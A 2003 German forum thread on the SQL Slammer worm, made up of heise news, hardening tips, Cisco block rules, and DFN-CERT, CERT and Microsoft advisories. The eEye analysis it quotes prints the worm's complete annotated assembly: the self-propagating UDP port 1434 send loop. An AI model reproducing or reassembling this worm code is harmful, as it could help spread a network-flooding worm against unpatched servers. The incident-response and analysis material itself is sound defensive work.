PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : SQLSlammer



dragi
25.01.2003, 20:40
Hallo,

laut heise ist ja dieser SQLSlammer Wurm im Umlauf der das halbe Netz lahmlegt. Kann mir einer mal verständlich erklären was genau dieser Wurm verursacht und ist er der Grund warum soviele Sites nicht zu erreichen sind?

Danke schonmal

harl
25.01.2003, 21:02
Das dann mal als Background:


SQLSlammer -- winziger Wurm erzeugt riesigen Internet-Traffic

Ein neuer Wurm namens SQLSlammer sorgt seit vergangener Nacht weltweit für massives Traffic-Aufkommen.

Internet Security Systems hat AlertCon 4 ("Katastrophale Bedrohung") ausgerufen -- eine höhere als seinerzeit bei Code Red oder Nimda. Bereits in der vergangenen Nacht hat SQLSlammer laut ISS rund 160.000 Rechner infiziert. Der Wurm verbreitet sich so schnell, weil er im Unterschied zu Nimda oder Code Red sehr klein ist (376 Byte) und sich so innerhalb eines einzigen UDP-Pakets verschicken kann.

SQLSlammer verbreitet sich, indem er ein speziell präpariertes UDP-Paket auf Port 1434 versendet. Dies bewirkt bei ungepatchten Microsoft SQL-Servern einen Buffer Overflow und resultiert in der Infizierung des Rechners. Für diese Anfälligkeit des Microsoft SQL Server 2000 gibt es seit dem 24. Juli vergangenen Jahres einen Patch, der aber offensichtlich auf vielen Rechnern noch nicht eingespielt wurde.

Nachdem der Wurm die Kontrolle über den Rechner erlangt hat, startet er einen Prozess namens WS2_32.DLL und versucht fortan zufällig ausgewählte IP-Adressen über den UDP-Port 1434 in einer endlosen Schleife zu infizieren. Der Schädling residiert dabei nur im Arbeitsspeicher, legt also keine Dateien auf der Festplatte an. Da er die volle Netzbandbreite der Computer verwendet, um sich weiter zu verbreiten, entsteht ein massives Aufkommen an Traffic.

Toralv Dirro vom Antiviren-Unternehmen Network Associates sieht den Schädling als einen der gefährlichsten Würmer an, der sich je im Internet verbreitete. "SQLSlammer hat sich so schnell wie noch kein anderer Wurm verbreitet. Wir beobachten seit gestern weltweit massive Beeinträchtigungen im Netz; so sind bereits mehrere Voice-over-IP-Dienste wegen des erhöhten Traffic ausgefallen." Wegen der schnellen Verbreitung können AV-Unternehmen momentan auch immer noch nicht sagen, von wo der Schädling sich ursprünglich ausbreitete.

Network Associates will in Kürze ein Stand-Alone-Tool zur Verfügung stellen, das SQLSlammer aus dem Speicher entfernt. Unternehmen und Anwender, die den Microsoft SQL-Server 2000 oder die Microsoft Desktop Engine 2000 installiert haben, sollten dringend überprüfen, ob der oben erwähnte Patch aus dem Microsoft Security Bulletin MS02-39 eingespielt ist. (pab/c't)

Es ist im Prinzip das alte Spiel und an sich ist der Wurm auch recht langweilig und wie schon im Artikel erwähnt nur so effektiv weil:

1.) Der Code für die Infektionsroutine so klein ist
2.) die Leute es offensichtlich nicht zustande bringen Ihre Server zu patchen, bzw. die Ports 1434 (SQL Server Resolution Service/DCE) 1433 (MSSQL Standardport) zu blocken.

Zitat aus meinem Paper von 04/2002 *[1]:


Sicherung des Servers:

+ Dem Benutzer 'sa' auf dem SQL Server sollte unbedingt ein ausreichend starkes Passwort zugewiesen werden.
+ Zugriff auf UDP Port 1434 & TCP 1433 des SQL Servers sollte durch eine Firewall geblockt werden oder zumindest ein anderer Port gewählt werden
+ Verschlüsselung des anfallenden Traffics
+ Eine Auslagerung des SQL Servers auf einen anderen Server innerhalb des Netzwerks wird allerdings empfohlen
+ Alle unnötigen Services auf dem Server sollten entfernt werden und der SQL Service unter dem Gast Account laufen.
+ Wenn der SQL Agent nicht benötigt wird sollte dieser nicht installiert werden.
+ Umstrukturierung der vorhandenen UserIDs und Anpassung der Rechte auf Basis der entsprechenden SPs
+ Entfernen nicht benötigter Stored Procedures, bzw. bei eingesetzten, kritischen SPs nach alternativen Lösungswegen suchen
+ ODBC Error Messages sollten deaktiviert werden


Der Pufferüberlauf wird (es gab zwei, der Wurm nutzt imho die von Dave Aitel/Immunity entdeckte, - der andere von David Litchfield) durch eine speziell formatierte Anfrage bei der Authentifizierung verursacht, was den SQL Server in jedem Fall DoS' ed und unter bestimmten Bedingungen auch eine Kompromittierung des SQL Servers (System Privilegien!) möglich macht. Eventuell wurden auch zwei Klone des Wurms parallel in Umlauf gebracht.

Im Prinzip muss sich keiner Sorgen machen, das halbe Netz lamgelegt ist masslos überzogen - der Patch wurde von Microsoft bereits Mitte letzten Jahres zur Verfügung gestellt (und sogar mal spontan als kritisch eingestuft).

Der Wurm ist zwar ganz witzig und schön programmiert, jedoch absolut nichts besonderes .

Ein paar Details zur Sicherheit von MSSQL, recht bekömmlich geschrieben sind *[1]HIER (http://harl3kin.tripod.com/sql_security.htm) (Ersten Abschnitt + Referenzen/Links ganz unten) zu finden.

HTH,

.harl

harl
27.01.2003, 09:28
So, wie gesgat nix neues - nichts desto trotz hab ich mal fyi alles relevante zusammengestellt:

eeye:

SQL Sapphire Worm Analysis

Release Date:
1/25/03

Severity:
High

Systems Affected:
Microsoft SQL Server 2000 pre SP 2

Description:
Late Friday, January 24, 2003 we became aware of a new SQL worm spreading
quickly across various networks around the world.

The worm is spreading using a buffer overflow to exploit a flaw in Microsoft
SQL Server 2000. The SQL 2000 server flaw was discovered in July, 2002 by
Next Generation Security Software Ltd. The buffer overflow exists because of
the way SQL improperly handles data sent to its Microsoft SQL Monitor port.
Attackers leveraging this vulnerability will be executing their code as
SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges.

The worm works by generating pseudo-random IP addresses to try to infect
with its payload. The worm payload does not contain any additional
malicious content (in the form of backdoors etc.); however, because of the
nature of the worm and the speed at which it attempts to re-infect systems,
it can potentially create a denial-of-service attack against infected
networks.

We have been able to verify that multiple points of connectivity on the
Internet have been bogged down since 9pm Pacific Standard Time.

It should be noted that this worm is not the same as an earlier SQL worm
that used the SA/nopassword SQL vulnerability as its spread vector. This is
a new worm is more devastating as it is taking advantage of a
software-specific flaw rather than a configuration error. We have already
had many reports of smaller networks brought down due to the flood of data
from the Sapphire Worm trying to re-infect new systems.

Corrective Action
We recommend that people immediately firewall SQL service ports at all of
their gateways. The worm uses only UDP port 1434 (SQL Monitor Port) to
spread itself to a new system; however, it is safe practice to filter all
SQL traffic at all gateways. The following is a list of SQL server ports:
ms-sql-s 1433/tcp #Microsoft-SQL-Server
ms-sql-s 1433/udp #Microsoft-SQL-Server
ms-sql-m 1434/tcp #Microsoft-SQL-Monitor
ms-sql-m 1434/udp #Microsoft-SQL-Monitor

Once again this worm is taking advantage of a known vulnerability that has
had a patch available for many months. Microsoft has also released a recent
service pack for SQL (Service Pack 3) that includes a fix for this
vulnerability.

Standalone patch:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/MS02-039.asp

SQL 2000 Service Pack 3:
http://www.microsoft.com/sql/downloads/2000/sp3.asp

Previous SQL Service Pack versions are vulnerable.

Technical Description

The following is a quick run-down of what the worm's payload is doing after
infection:
1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in
sqlsort.dll. It snags the necessary library base addresses and function
entry points as needed.
2. Calls gettickcount, and uses returned count as a pseudo-random seed
3. Creates a UDP socket
4. Performs a simple pseudo random number generation formula using the
returned gettickcount value to generate an IP Address that will later be
used as the target.
5. Send worm payload in a SQL Server Resolution Service request to the
pseudo random target address, on port 1434 (UDP).
6. Return back to formula and continue generating new pseudo random
addresses.


push 42B0C9DCh ; [RET] sqlsort.dll -> jmp esp
mov eax, 1010101h ; Reconstruct session, after the
overflow the payload buffer
; get's corrupted during program
execution but before the
; payload is executed. .
xor ecx, ecx
mov cl, 18h

FIXUP:
push eax
loop FIXUP
xor eax, 5010101h
push eax
mov ebp, esp
push ecx
push 6C6C642Eh
push 32336C65h
push 6E72656Bh ; kernel32
push ecx
push 746E756Fh ; GetTickCount
push 436B6369h
push 54746547h
mov cx, 6C6Ch
push ecx
push 642E3233h ; ws2_32.dll
push 5F327377h
mov cx, 7465h
push ecx
push 6B636F73h ; socket
mov cx, 6F74h
push ecx
push 646E6573h ; sendto
mov esi, 42AE1018h ; IAT from sqlsort
lea eax, [ebp-2Ch] ; (ws2_32.dll)
push eax
call dword ptr [esi] ; call loadlibrary
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-10h] ; (kernel32.dll)
push eax
call dword ptr [esi] ; loadlibrary
push eax
mov esi, 42AE1010h ; IAT from sqlsort
mov ebx, [esi]
mov eax, [ebx]
cmp eax, 51EC8B55h ; check entry point fingerprint
jz short VALID_GP ; Check entry point fingerprint for
getprocaddress, if it failes
; fall back to GetProcAddress entry
in another DLL version.
; Undetermined what dll versions
this will succedd on. Due
; to the lack of reliable importing
this may not work across all
; dll versions.
mov esi, 42AE101Ch ; IAT entry -> 77EA094C

VALID_GP:
call dword ptr [esi] ; GetProcAddress
call eax ; return from GetProcaddress =
GetTickCount entrypoint
xor ecx, ecx
push ecx
push ecx
push eax
xor ecx, 9B040103h
xor ecx, 1010101h
push ecx ; 9A050002 = port 1434 / AF_INET
lea eax, [ebp-34h] ; (socket)
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
push 11h
push 2
push 2
call eax ; socket
push eax
lea eax, [ebp-3Ch] ; sendto
push eax
mov eax, [ebp-40h] ; ws2_32 base address
push eax
call dword ptr [esi] ; GetProcAddress
mov esi, eax ; save sendto -> esi
or ebx, ebx
xor ebx, 0FFD9613Ch

PRND:
mov eax, [ebp-4Ch] ; Pseudo Random Algorithm Start
lea ecx, [eax+eax*2]
lea edx, [eax+ecx*4]
shl edx, 4
add edx, eax
shl edx, 8
sub edx, eax
lea eax, [eax+edx*4]
add eax, ebx ; Pseudo Random Algorithm End
mov [ebp-4Ch], eax
push 10h
lea eax, [ebp-50h]
push eax
xor ecx, ecx
push ecx
xor cx, 178h
push ecx
lea eax, [ebp+3]
push eax
mov eax, [ebp-54h]
push eax
call esi ; sendto
jmp short PRND ; Jump back to Pseudo Random Algorithm
Start

In Closing
We have provided brief information here as we are currently working to
understand more of the worm's internal behavior. We will provide updates as
they become available.

This worm has been dubbed the "Sapphire Worm" by eEye due to the fact that
several engineers had to be pulled away from local bars to begin the
investigation/dissection process.

Credit:
Riley Hassell

Related Links:
SQLSecurity.com
http://sqlsecurity.com/

Microsoft Security Bulletin:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/ms02-039.asp

Copyright (c) 1998-2003 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express consent
of eEye. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail alert@eEye.com for
permission.

Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.

Feedback
Please send suggestions, updates, and comments to:

eEye Digital Security
http://www.eEye.com
info@eEye.com


----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: http://aris.securityfocus.com


cisco:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Cisco Security Advisory: MS SQL "Sapphire" Worm Mitigation Recommendations
================================================== ============================

Revision 1.0

For Public Release 2003 January 25 14:00:00 UTC

- -------------------------------------------------------------------------------

Contents
========

Summary
Details
Symptoms
Workarounds
Exploitation and Public Announcements
Status of This Notice
Distribution
Revision History
Cisco Security Procedures

- -------------------------------------------------------------------------------

Summary
=======

Cisco customers are currently experiencing attacks due to a new worm that has
hit the Internet. The signature of this worm appears to be high volumes of UDP
traffic to port 1434. Affected customers have been experiencing high volumes of
traffic from both internal and external systems. Symptoms on Cisco devices
include, but are not limited to high CPU and traffic drops on the input
interfaces.

http://www.eeye.com/html/Research/Flash/AL20030125.html leaving cisco.com

At the time of this notice there is no definitive analysis of the worm.

Details
=======

UDP port 1433 and 1434 are used for SQL server traffic. A new worm has been
targeting port 1434 and attempting to exploit a buffer overflow vulnerability
in Microsoft's SQL server. We have received reports that the worm targets port
1433 as well, however this is unverified at this time.

Microsoft has issued a security advisory about this issue, the details are
here:

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/
bulletin/MS02-039.asp leaving cisco.com

For infected servers, MS recommends downloading Service Pack 3 for SqlSvr,
located here:

http://www.microsoft.com/sql/downloads/2000/sp3.asp?SD=GN&LN=en-us&gssnb=1
leaving cisco.com

Symptoms
========

You may see instability in networks due to increased load. The traffic load
generated by this DoS is very high.

Workarounds
===========

Thus far the best mitigation is to block inbound and outbound traffic destined
to UDP port 1434. Care must be taken in regards to the impact on mission
critical services as 1434/udp and 1433/udp are used by Microsoft SQL Server.
Before blocking traffic to these ports completely make sure that the possible
effects on your network are understood.

Note: These workarounds block both ports 1433 and 1434, although we have
received no evidence yet that blocking port 1433 has any affect on the attack.
If your network requires traffic to flow on port 1433 please leave that portion
of the ACL out and monitor your results closely.

VACL on the 6500

To configure:

set security acl ip WORM deny udp any eq 1434 any
set security acl ip WORM deny udp any any eq 1434
set security acl ip WORM deny udp any eq 1433 any
set security acl ip WORM deny udp any any eq 1433
set security acl ip WORM permit any
commit security acl WORM
set security acl map WORM <vlan>

Set port to vlan based:

set port qos <mod/port> vlan-based

To verify:

show security acl info all

To remove:

clear security acl WORM
commit security acl WORM

ACL for IOS

Note: Log statement removed due to load issues on the router. If you are trying
to track source addresses, use NetFlow.

access-list 115 deny udp any any eq 1433
access-list 115 deny udp any any eq 1434
access-list 115 permit ip any any

int <interface>
ip access-group 115 in
ip access-group 115 out

Exploitation and Public Announcements
=====================================

This issue is being exploited actively and has been discussed in numerous
public announcements and messages. References include:

* http://www.cert.org/advisories/CA-2003-04.html leaving cisco.com
* http://www.eeye.com/html/Research/Flash/AL20030125.html leaving cisco.com

Status of This Notice: INTERIM
==============================

This is an interim notice. Although Cisco cannot guarantee the accuracy of all
statements in this notice, all of the facts have been checked to the best of
our ability. Cisco anticipates issuing updated versions of this notice when
there is material change in the facts.

Distribution
============

This notice will be posted on Cisco's worldwide website at http://www.cisco.com
/warp/public/707/cisco-sn-20030125-worm.shtml. In addition to worldwide web
posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP
key and is posted to the following e-mail and Usenet news recipients:

* cust-security-announce@cisco.com
* bugtraq@securityfocus.com
* full-disclosure@lists.netsys.com
* first-teams@first.org (includes CERT/CC)
* cisco@spot.colorado.edu
* cisco-nsp@puck.nether.net
* comp.dcom.sys.cisco
* Various internal Cisco mailing lists

Future updates of this notice, if any, will be placed on Cisco's worldwide web
Users concerned about this problem are encouraged to check the URL given above
for any updates.

Revision History
================

+---------------------------------------------------------------------------+
|Revision |25-January-2003|Initial public release. |
|1.0 | | |
+---------------------------------------------------------------------------+

Cisco Security Procedures
=========================

If you have any new information that would be of use to us, please send email
to psirt@cisco.com. Information regarding strategies for protecting against
Distributed Denial of Service attacks may be found at http://www.cisco.com/warp
/public/707/newsflash.html .

Complete information on reporting security vulnerabilities in Cisco products,
obtaining assistance with security incidents, and registering to receive
security information from Cisco, is available on Cisco's worldwide website at
http://www.cisco.com/warp/public/707/sec_incident_response.shtml. This includes
instructions for press inquiries regarding Cisco security notices. All Cisco
Security Advisories are available at http://www.cisco.com/go/psirt/.

- -------------------------------------------------------------------------------

This notice is Copyright 2003 by Cisco Systems, Inc. This notice may be
redistributed freely after the release date given at the top of the text,
provided that redistributed copies are complete and unmodified, and include all
date and version information.

- -------------------------------------------------------------------------------




for the fun as i already said:
I find it very interesting that Eeye and ISS Xforce seem to be more
interested in giving the worm a name and basically reciting what was already
posted in David's advisory http://www.nextgenss.com/advisories/mssql-udp.txt
on the 25th July 2002, media attention I wonder ;) and with Security
Focus naming it Voyager Alpha Force.

Not to miss the wagon:

Based on the fact that it affects SQL servers, and interestingly enough 6
months to the day, that remain unpatched, and would have been protected,
before everyone goes and starts to blame MS, I've scraped the barrel to
produce the following,

Regards Mark


Security Quite Late worm J

various:

http://www.boredom.org/~cstone/worm-annotated.txt
http://www.digitaloffense.net/worms/mssql_udp_worm/
http://www.nextgenss.com/advisories/mssql-udp.txt
http://packetstormsecurity.org/0211-exploits/sql2.cpp
http://vil.nai.com/vil/content/v_99992.htm
http://www.immunitysec.com/disassembly.txt

thts all for now i think ...

.harl
http://www.techie.hopto.org/sqlworm.html

Quantumseeker
27.01.2003, 14:17
Hier noch ein Auszug aus der win-sec-ssc@cert.dfn.de Mailingliste

[MS] Microsoft SQL Server Wurm - CA-2003-04 MS-SQL / MS02-061]
-----BEGIN PGP SIGNED MESSAGE-----

Liebe Kolleginnen und Kollegen,

soeben erreichten uns nachfolgende Advisories des CERT Coordination
Centers und des Microsoft Product Security Notification Service bzgl.
eines sich ueber den MS SQL Server 2000 verbreitenden Wurms. Wir geben
diese Informationen unveraendert an Sie weiter.

Seit der Nacht vom Freitag den 24.1.2003 auf den folgenden Samstag
wird von einem Wurm berichtet, der versucht eine im Juli 2002
beschriebene Buffer Overflow Schwachstelle im Microsoft SQL Server
2000 auszunutzen. Bei erfolgreicher Ausnutzung dieser und einer im
Oktober 2002 beschriebenen Privilege Escalation koennen beliebige
Befehle mit den Rechten des Users SYSTEM ausgefuehrt werden.

Infizierte Systeme versuchen weitere Rechner ueber zufaellig
generierte IPs zu kompromittieren. Der Wurm verschickt dazu Pakete von
376-410 Bytes an Port 1434/UDP. Es wird massiver Traffic auch zwischen
bereits kompromittierten Hosts beobachtet. Der Wurm kann bereits
befallene Hosts nicht entdecken und infiziert Systeme immer wieder.
Dies und die aggressive Suche des Wurms nach kompromittierbaren Hosts
fuehrte bereits zu erheblicher Beeintraechtigung des Netzverkehrs.
Nach bisherigen Erkenntnissen besitzt der Wurm keine weiteren
Schadensroutinen. Der Wurm wird in Advisories und in News-Foren
teilweise als Slammer und als Sapphire bezeichnet.

Im Update des Microsoft Advisories wird die Sicherheitsluecke nun als
kritisch eingestuft. Zur Erinnerung die Beschreibungen der Schwach-
stellen aus MS02-061 (16.Oktober 2002) und MS02-039 (25. Juli 2002):

Die ersten beiden Schwachstellen sind Buffer Overflows (ein Heap-
und ein Stack-Overflow), die von einem entfernten Angreifer durch
Senden eines speziell generierten Datenpaketes an den Dienst fuer
einen Denial of Service ausgenutzt werden koennen. Im schlimmsten
Fall kann der Angreifer sogar eigenen Code auf dem Opfersystem im
Sicherheitskontext des SQL Serverdienstes ausfuehren.

Durch Fehler in einer Stored Procedure, die Web Tasts ausfuehrt,
kann ein nicht privilegierter Benutzer diese Prozedur aufrufen.
Weiterhin bestehen unsichere Zugriffsrechte fuer eine Tabelle. Ein
nicht privilegierter Benutzer mit Zugriff auf den SQL Server kann
diese Schwachstellen ausnutzen, um bestehende Web Tasks mit den
Rechten des jeweiligen Besitzers der Web Task auszufuehren, zu
loeschen oder upzudaten. Potentiell ermoeglicht die Schwachstelle
dem Angreifer, seine Rechte zu erweitern (elevation of privilege).

Der im Oktober 2002 vom Hersteller veroeffentlichte Sammel-Patch
korrigierte den Fehler, aber konnte zu Problemen beim betrieb des SQL
Servers fuehren. Um dies zu korrigieren wurde von Mircosoft ein (nicht
sicherheitsrelevanter) Hotfix 317748 herausgebracht.

Direkt vom Wurm betroffene Systeme:

Microsoft SQL Server 2000
Microsoft Desktop Engine (MSDE) 2000

Die Sicherheitsluecke besteht aber weiterhin auf:

Microsoft SQL Server 7.0
Microsoft Data Engine (MSDE) 1.0

Nicht nur der Microsoft SQL Server, sondern u.a. auch diverse
Entwicklungsumgebungen benutzen die MSDE. Die Empfehlung des
Herstellers lautet nun:

o Wurde nur der Original-Patch eingespielt, sollte der Hotfix 317748
verwendet werden.
o Wurden Original-Patch und Hotfix angewandt, besteht laut Hersteller
kein Handlungsbedarf.
o Ist der Original-Patch und der Hotfix bisher nicht eingespielt
worden, so sollte der erneuerte Patch verwendet werden, welcher die
Anwendung des Hotfix 317748 ueberfluessig macht.

Das DFN-CERT bietet einen Mirror der Inhalte des FTP-Servers von
Microsoft mit den dort bereitgestellten Patches und Service-Packs fuer
die us-amerikanische und deutsche Sprachversion von verschiedenen
Windows Versionen und des Internet Explorers an:

ftp://ftp.cert.dfn.de/pub/vendor/microsoft/

Die in diesem Advisory beschriebenen neuen Versionen des Patches fuer
den MS SQL Server 2000 sind unter den folgenden Adressen zu finden.
Das SQL Server Service Pack 2 muss installiert sein.

ftp://ftp.cert.dfn.de/pub/vendor/microsoft/sqlsrv2000/Security_Bulletins/8.00.0686_enu_installer.exe (englisch)

ftp://ftp.cert.dfn.de/pub/vendor/microsoft/sqlsrv2000/Security_Bulletins/8.00.0686_ger_installer.exe (deutsch)

Ausgehenden Verbindungen auf Port 1434/UDP weisen auf eine Infektion
lokaler Systeme durch den Wurm hin. Das CERT/CC empfiehlt dringend die
Verwendung von egres und ingress Filterung.

Wir empfehlen auch aufgrund anderer aktueller Schwachstellen, alles
bis auf die notwendigen Ports, durch eine Firewall filtern zu lassen.
Ist dies nicht moeglich, so sollten zumindest die Ports 135 bis 139
sowie 445, 1433 und 1434 UDP und TCP an den Border Routern gefiltert
werden. Aufgrund des Wurms ist es ratsam die Ports 1434 und 1433
voruebergehend auch in ausgehender Richtung zu sperren. Weitere
Informationen zm Wurm und den Schwachstellen:

Analyse des Wurms durch Microsoft:
http://www.microsoft.com/technet/security/virus/alerts/slammer.asp

Weitere Analysen des Wurms - erstere enthaelt eine detailierte
Kommentierung des disassemblierten Codes:
http://www.techie.hopto.org/sqlworm.html
http://www.eeye.com/html/Research/Flash/AL20030125.html
http://bvlive01.iss.net/issEn/delivery/xforce/alertdetail.jsp?oid=21824

Anleitung des CERT/CC bzgl. Kompromittierung von Systemen:
http://www.cert.org/tech_tips/win-UNIX-system_compromise.html

Beschreibungen des CERT/CC der vom Wurm verwendeten Schwachstellen:
VU#370308 - http://www.kb.cert.org/vuls/id/370308
VU#399260 - http://www.kb.cert.org/vuls/id/399260
VU#484891 - http://www.kb.cert.org/vuls/id/484891

Advisories des britischen Regierungs-CERT und des RUS-CERT:
http://www.uniras.gov.uk/sql.htm
http://cert.uni-stuttgart.de/ticker/article.php?mid=1065

(c) der deutschen Zusammenfassung bei DFN-CERT GmbH; die Verbreitung,
auch auszugsweise, ist nur unter Hinweis auf den Urheber, DFN-CERT
GmbH, und nur zu nicht kommerziellen Zwecken gestattet.

Mit freundlichen Gruessen,
Andreas Bunten, DFN-CERT
- --
Andreas Bunten | mailto:bunten@cert.dfn.de
DFN-CERT GmbH | http://www.cert.dfn.de/team/bunten/
Heidenkampsweg 41 | Phone: +49(40)808077-555
D-20097 Hamburg | FAX: +49(40)808077-556
Germany | PGP-Key: finger bunten@ftp.cert.dfn.de
PGP-Key fingerprint = 25 E9 A6 DD 15 6C 09 70 9D 05 10 2B C7 AB C2 31


- -----BEGIN PGP SIGNED MESSAGE-----

CERT Advisory CA-2003-04 MS-SQL Server Worm

Original release date: January 25, 2003
Source: CERT/CC

A complete revision history can be found at the end of this file.

Systems Affected

* Microsoft SQL Server 2000

Overview

The CERT/CC has received reports of self-propagating malicious code
that exploits multiple vulnerabilities in the Resolution Service of
Microsoft SQL Server 2000. The propagation of this worm has caused
varied levels of network degradation across the Internet, in addition
to the compromise of vulnerable machines

I. Description

The worm targeting SQL Server computers is self-propagating malicious
code that most likely exploits two vulnerabilities in the Resolution
Service of Microsoft SQL Server 2000 vulnerabilities. The
vulnerability documented in VU#370308 allows the keep-alive
functionality employed by the SQL Server Resolution Service to launch
a denial of service against other hosts. Either the vulnerability
VU#399260 or VU#484891 allow for the execution of arbitrary code on
the SQL Server computer due to a buffer overflow.

VU#370308 - http://www.kb.cert.org/vuls/id/370308
VU#399260 - http://www.kb.cert.org/vuls/id/399260
VU#484891 - http://www.kb.cert.org/vuls/id/484891

Reports to the CERT/CC indicate that the high volume of 1434/udp
traffic generated between hosts infected with the worm targeting SQL
Server computers may itself lead to performance issues (including
possible denial-of-service conditions) on networks with infected
hosts.

Activity of this worm is readily identifiable on a network by the
presence of small UDP packets (we have received reports of 376-410
byte packets) from seemingly random IP addresses from across the
Internet to port 1434/udp.

II. Impact

Compromise by the worm indicates that a remote attacker can execute
arbitrary code as the local SYSTEM user on the victim system. It may
be possible for an attacker to subsequently leverage a local privilege
escalation exploit in order to gain Administrator access to the victim
system.

The high volume of 1434/udp traffic generated between hosts infected
with the worm may itself lead to performance issues on networks with
both infected and targeted, but non-vulnerable hosts.

III. Solution

Apply a patch

Administrators of all systems running Microsoft SQL Server 2000 are
encouraged to review CA-2002-22 and VU#370308 for detailed vendor
recommendations regarding installing the patch:

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp

CA-2002-22 - http://www.cert.org/advisories/CA-2002-22.html
VU#370308 - http://www.kb.cert.org/vuls/id/370308


Ingress/Egress filtering

The following steps are only effective in limiting the damage that can
be done by systems already infected with the worm. They provide no
protection whatsoever against the initial infection of systems. As a
result, these steps are only recommended in addition to the
preventative steps outlined above, not in lieu thereof.

Ingress filtering manages the flow of traffic as it enters a network
under your administrative control. Servers are typically the only
machines that need to accept inbound traffic from the public Internet.
In the network usage policy of many sites, external hosts are only
permitted to initiate inbound traffic to machines that provide public
services on specific ports. Thus, ingress filtering should be
performed at the border to prohibit externally initiated inbound
traffic to non-authorized services.

Egress filtering manages the flow of traffic as it leaves a network
under your administrative control. There is typically limited need for
machines providing public services to initiate outbound connections to
the Internet.

In the case of this worm, employing ingress and egress filtering can
help prevent compromised systems on your network from attacking
systems elsewhere. Blocking UDP datagrams with both source and
destination ports 1434 from entering or leaving your network reduces
the risk of external infected systems communicating with infected
hosts inside your network.


Recovering from a system compromise

If you believe a system under your administrative control has been
compromised, please follow the steps outlined in:

Steps for Recovering from a UNIX or NT System Compromise
http://www.cert.org/tech_tips/win-UNIX-system_compromise.html


Reporting

The CERT/CC is interested in receiving reports of this activity. If
machines under your administrative control are compromised, please
send mail to cert@cert.org with the following text included in the
subject line: "[CERT#35663]".
__________________________________________________ _______________

Feedback can be directed to the author: Roman Danyliw
__________________________________________________ ____________________

This document is available from:
http://www.cert.org/advisories/CA-2003-04.html
__________________________________________________ ____________________

CERT/CC Contact Information

Email: cert@cert.org
Phone: +1 412-268-7090 (24-hour hotline)
Fax: +1 412-268-6989
Postal address:
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh PA 15213-3890
U.S.A.

CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) /
EDT(GMT-4) Monday through Friday; they are on call for emergencies
during other hours, on U.S. holidays, and on weekends.

Using encryption

We strongly urge you to encrypt sensitive information sent by email.
Our public PGP key is available from
http://www.cert.org/CERT_PGP.key

If you prefer to use DES, please call the CERT hotline for more
information.

Getting security information

CERT publications and other security information are available from
our web site
http://www.cert.org/

To subscribe to the CERT mailing list for advisories and bulletins,
send email to majordomo@cert.org. Please include in the body of your
message

subscribe cert-advisory

* "CERT" and "CERT Coordination Center" are registered in the U.S.
Patent and Trademark Office.
__________________________________________________ ____________________

NO WARRANTY
Any material furnished by Carnegie Mellon University and the Software
Engineering Institute is furnished on an "as is" basis. Carnegie
Mellon University makes no warranties of any kind, either expressed or
implied as to any matter including, but not limited to, warranty of
fitness for a particular purpose or merchantability, exclusivity or
results obtained from use of the material. Carnegie Mellon University
does not make any warranty of any kind with respect to freedom from
patent, trademark, or copyright infringement.
__________________________________________________ _______________

Conditions for use, disclaimers, and sponsorship information

Copyright 2003 Carnegie Mellon University.

Revision History
January 25, 2003: Initial release

- -----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.8

iQCVAwUBPjKkJmjtSoHZUTs5AQG4KgP+MGcnpMxQrAVMBu+jhP hIobYp2eaPRSfx
Nj5TQs9A3749p11Of1h5KxyqrjBhL/Ff8jyac4Vj0XWa4KtYeiPbC0feN49LKEnn
6JLf24Pyov3wEPn9tcBJ511lAhD506sUVsTTrexrFUgaSCFnG4 nucP1wC93JUbdx
QxMA0Aixt1U=
=VhD+
- -----END PGP SIGNATURE-----



- -----BEGIN PGP SIGNED MESSAGE-----

- - ----------------------------------------------------------------------
Title: Elevation of Privilege in SQL Server Web Tasks (Q316333)
Released: October 16, 2002
Revised: January 26, 2003 (version 2.0)
Software: Microsoft(r) SQL Server(tm) 7.0, SQL Server 2000,
Microsoft Data Engine (MSDE) 1.0, and Microsoft Desktop
Engine (MSDE) 2000.
Impact: Elevation of Privileges
Max Risk: Critical

Bulletin: MS02-061

Microsoft encourages customers to review the Security Bulletin at:
http://www.microsoft.com/technet/security/bulletin/MS02-061.asp
- - ----------------------------------------------------------------------

Reason for Revision:
====================

Microsoft Security Bulletin is a cumulative security patch for
Microsoft SQL Server. As a cumulative patch it includes a fix for a
vulnerability first included in Microsoft Security Bulletin MS02-
039, which has been exploited as part of the "Slammer" worm.
Customers who have not installed a recent SQL Server security patch
(MS02-039, MS02-043, MS02-056 or MS02-061) are strongly encouraged
to install this updated patch, which now includes an installer for
ease of use.

Microsoft originally released this bulletin and patch on October 16,
2002 to correct a security vulnerability in a SQL Server stored
procedure. The patch was and still is effective in eliminating the
security vulnerability, and includes the fix for the vulnerability
exploited by the "Slammer" worm virus (Note: Slammer affects only
SQL Server 2000 and MSDE 2000). However, while the patch was fully
effective in eliminating the security vulnerability, in October,
2002, it was found to interfere with SQL Server operations under
some circumstances. As a result, on October 30, 20002, an
additional non-security patch
http://support.microsoft.com/default.aspx?scid=kb;en-us;317748 was
required to ensure normal operations of SQL Server.

In order to simplify the process by which customers update their
systems, Microsoft has now re-released the patch for SQL Server
2000. The patch for SQL Server 2000 was re-released to help
customers patch their systems in response to the "Slammer" worm
virus. The re-released patch integrates the original security patch
released with this bulletin and the hotfix discussed in Microsoft
Knowledge Base article 317748 that was released to ensure the
correct operation of SQL Server. The re-release has been packaged
